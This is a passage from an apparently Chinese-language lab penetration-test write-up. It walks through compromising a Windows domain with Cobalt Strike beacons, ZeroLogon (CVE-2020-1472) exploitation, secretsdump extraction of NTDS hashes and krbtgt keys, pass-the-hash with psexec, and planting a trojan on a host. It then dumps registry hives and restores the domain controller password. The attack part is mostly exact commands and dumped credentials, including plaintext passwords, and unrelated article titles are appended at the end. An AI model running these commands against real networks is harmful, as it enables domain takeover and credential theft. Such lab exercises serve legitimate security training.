Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-18msv :   tspkg : wdigest :   * Username : DATA$* Domain   : VSMOON* Password : (null)kerberos :  * Username : data$* Domain   : VSMOON.COM* Password : (null)ssp :   credman :

尝试横向移动

beacon> jump psexec ad re-tcp
[+] host called home, sent: 297622 bytes
[*] Tasked beacon to run windows/beacon_reverse_tcp (192.168.22.152:7878) on ad via Service Control Manager (\\ad\ADMIN$\8a7226d.exe)
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user    : Administrator
domain  : DATA
program : C:\Windows\system32\cmd.exe /c echo a01a77dbaaf > \\.\pipe\34df4d
impers. : no
NTLM    : e0eaa205900fd89d4ebc9fe6176b4763|  PID  1520|  TID  2420|  LSA Process is now R/W|  LUID 0 ; 746957 (00000000:000b65cd)\_ msv1_0   - data copy @ 0000000FE49B4B50 : OK !\_ kerberos - [+] host called home, sent: 294126 bytes
[-] could not upload file: 1326 - ERROR_LOGON_FAILURE
[-] Could not open service control manager on ad: 5

横向移动失败!

使用 CVE-2020-1472(ZeroLogon)拿下域控

使用cs开启代理扫描域控是否存在漏洞。

这里还是使用 SocksCap64 来转发流量

使用脚本置空域控密码

python cve-2020-1472-exploit.py -n ad -t 10.10.10.137

secretsdump.exe 导出Hash

secretsdump.exe vsmoon.com/ad\$@10.10.10.137 -no-pass

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9307d2f925e8c9025ff452c0f6681313:::
vsmoon.com\data:1104:aad3b435b51404eeaad3b435b51404ee:3e9b45207bedfe4877c5567673e19d01:::
AD$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DATA$:1105:aad3b435b51404eeaad3b435b51404ee:dbcf2fc907129da73618daaacfda88e8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:134e1843ce6aa68b586b93f6b33b67adf26ae3dc9cab78be617eaf538bbbfcd0
krbtgt:aes128-cts-hmac-sha1-96:b1284e87a3414a984d5295801f10ddc1
krbtgt:des-cbc-md5:133723fdc7970d4a
vsmoon.com\data:aes256-cts-hmac-sha1-96:8dbb79f54eb6160e00f424386eed8650b19a76f7a870732cd21df63cd5139e99
vsmoon.com\data:aes128-cts-hmac-sha1-96:eb597a5e13b47685916dc3406e8028ce
vsmoon.com\data:des-cbc-md5:6e2f6e6da2e96bf4
AD$:aes256-cts-hmac-sha1-96:a7c23d712488d3c211bf50cc4cff225bc0781a86ba5d46d43fd18bedca68f2d6
AD$:aes128-cts-hmac-sha1-96:1d3cbd31aba22311b1f5fb61eeca2e0e
AD$:des-cbc-md5:26d9235845d07643
DATA$:aes256-cts-hmac-sha1-96:76cecb631622e5aec527f702439396a406904d0189f1bb129ecfc4b999d6ff8f
DATA$:aes128-cts-hmac-sha1-96:eccea1ea8bd3788b09f16e27f4bfabd1
DATA$:des-cbc-md5:7c70ba0bec0d54c1
[*] Cleaning up...

上线cs

psexec.exe 登录域控

psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d vsmoon/administrator@10.10.10.137

解密 DATA 的密码,建立 IPC$ 连接

net use \\10.10.10.136\c$ QWEasd12300 /user:administrator

映射 DATA 的 c 盘为 z 盘

net use z: \\10.10.10.136\c$

生成转发上线木马放在 DATA 的 c 盘中,并执行木马上线

z:\ad.exe

三台主机成功上线

恢复域控密码

注册表导出密码文件

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

解密密码文件

# python secretsdump.py -sam sam.save -system system.save -security security.save LOCALC:\Users\Anonymous\Desktop\vmmoon>python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation[*] Target system bootKey: 0xb34b17556cade716de1f36076e43efdb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1680f1720be4c2eea070114d91b0b9cc
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf7620224a66b0b07cc3e0b45263c52aa643a0cfe
dpapi_userkey:0x4fd6a5521fd01d1bb047843ed141840ab2603180
[*] NL$KM0000   A3 1B 0C 50 A7 32 09 2A  43 02 DD DA 2B 89 B4 FD   ...P.2.*C...+...0010   AA 4C BD 16 91 F8 C7 D5  A1 F1 26 F3 6A CD A4 00   .L........&.j...0020   0E 06 AC FF 45 88 79 C6  EF B6 1C 87 9F A5 C0 C0   ....E.y.........0030   72 C0 D7 32 48 A1 A7 10  F0 40 50 9F A3 92 BE 34   r..2H....@P....4
NL$KM:a31b0c50a732092a4302ddda2b89b4fdaa4cbd1691f8c7d5a1f126f36acda4000e06acff458879c6efb61c879fa5c0c072c0d73248a1a710f040509fa392be34
[*] Cleaning up...

恢复密码

python reinstall_original_pw.py ad 10.10.10.137 14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76

成功恢复密码

总结

项目主要考核能力:

  • PHP代码审计
  • Python 脚本的编写
  • Java代码审计以及Java反序列化的利用
  • 内网漫游以及攻击域控

这次主要死在Java反序列化的利用,反序列化的点是找到了但是不知道利用那个反序列化链以及不会编写简单的 Java exp进行攻击。

一句话,安全与开发缺一不可!!!

vsmoon 考核项目复现相关推荐

  1. 专项职业能力考核计算机,专项职业能力考核项目指定试题汇编教材用书表(信息技术类)...

    信息技术类专项职业能力考核项目指定用书表(CX编号:指希望出版社内部编号) 序号 模块编号 模块名称  试题汇编 CX编号 ISBN号 试题解答 CX编号 ISBN号 推荐教程 CX编号 ISBN号 ...

  2. 163Python数据分析师课程考核项目04

    163Python数据分析师课程考核项目04 多场景下的图表可视化表达 excel数据概览 运动员信息 运动员CP热度 题目1 2016年奥运运动员数据,数据格式为xlsx,分3个sheet 1.分男 ...

  3. Kaggle 入门(Kaggle网站使用及项目复现)

    目录 一.简介 二.前期准备 1.python环境 2.pycharm 三.网页运行 1.网址:kaggle.com 2.注册账号 3.打开一个项目 4.进入后可以看到项目的代码 5.点Edit可以进 ...

  4. 用回款考核项目经理意味着什么?

    用回款考核项目经理,是非常懒惰的项目交付考核办法.这类考核通常出现在商务导向的公司. 销售.售前.交付.研发,是企业经营的四个基本环节.销售考核签单,售前与销售绑定考核,交付考核产值(验收),研发考核 ...

  5. VIBE:3D人体姿态预测项目复现笔记

    VIBE是一个的3D人体姿态预测开源项目,需要基于该项目作一些开发,首先需要能够搭建和是的环境成功复现它. 不过,这个项目的复现的,真的不是一星半点的艰难. 1.系统选择 之前一直用的Windows, ...

  6. 论文项目复现笔记----Emotion Driven Monocular Face Capture and Animation

    一.项目相关 项目代码网址:GitHub - radekd91/emoca: Official repository accompanying a CVPR 2022 paper EMOCA: Emo ...

  7. Nosql与Redis期末考核项目回顾

    文章目录 期末考核要求 一.后端代码部分 1. controller层 2. bean层 3. cache层 4. mapper层 5. service层 6. util层 7. resources层 ...

  8. Javaweb考核项目——墨也健身房(下)

    此为下篇博客,附上篇链接:https://blog.csdn.net/qq_40956679/article/details/84647213 ---------------------------- ...

  9. java最终考核项目(实现商品管理系统)

    文章目录 首先声明一点,java这门语言其实博主是个小白,有很多小细节没考虑进去,大家有需要的私下各自完善一下,还请各位大佬多多谅解,谢谢,祝大家取得好成绩,冲冲冲,加油!!! 第一步: 第二步: 第 ...

最新文章

  1. 【Android工具】安卓魔力播放器moliplayer绿色无广告,手机DLNA播放器
  2. SQL Server中Rollup关键字使用技巧
  3. iOS中常见的内存问题
  4. Redis实战(四):redis的消息订阅、pipeline、事务、modules、布隆过滤器、缓存LRU
  5. 基于id3算法根据房价数据进行画图预测python
  6. SharePoint 2010 使用沙盒解决方案隐藏页面中的”元素”
  7. Gradle之SourceSet
  8. 历届美国梦之队战斗力汇总:梦一无敌 梦十二平淡
  9. openwrt 开启KV漫游
  10. 利用GAN生成动漫头像
  11. 矩阵旋转(翻转)刷题总结
  12. Windows Server 2003 简体中文企业版
  13. ps aux 中的 VSZ 代表什么意思,RSS 代表什么意思
  14. clion三角形运行键是灰的_能打游戏能编程,如何用吃灰机器,安装完整ChromeOS(支持安卓)...
  15. Xcode Library
  16. 制作机顶盒CM311-1a的armbian img文件
  17. Echarts折线图拐点突出显示效果
  18. 摄像头(camera)数据传输中 码率/比特率(Bit rate) 与 带宽(Bandwidth)对应表
  19. 大话 Oracle Grid 云时代的RAC
  20. “一杯严选”的2019猪年新春贺岁 “福鼎一杯”生态@复联复兴者联盟

热门文章

  1. [Wi-Fi抓包篇]2. Omnipeek——抓包分析方法
  2. 控制系统仿真技术类毕业论文文献包含哪些?
  3. 架设PPPOE服务器
  4. 关联规则、支持度(support)、置信度(confidence)
  5. 专升本,学历毁了我的一生!
  6. 绝对路径,相对路径,和根路径
  7. 中国电信3G业务抢先发 3G终端国产占到六席
  8. 跑得快人工智能自动代打训练程序设计
  9. 抗疫先锋 | PaaSoo 做领先的国际云通讯服务商
  10. GRUB (简体中文)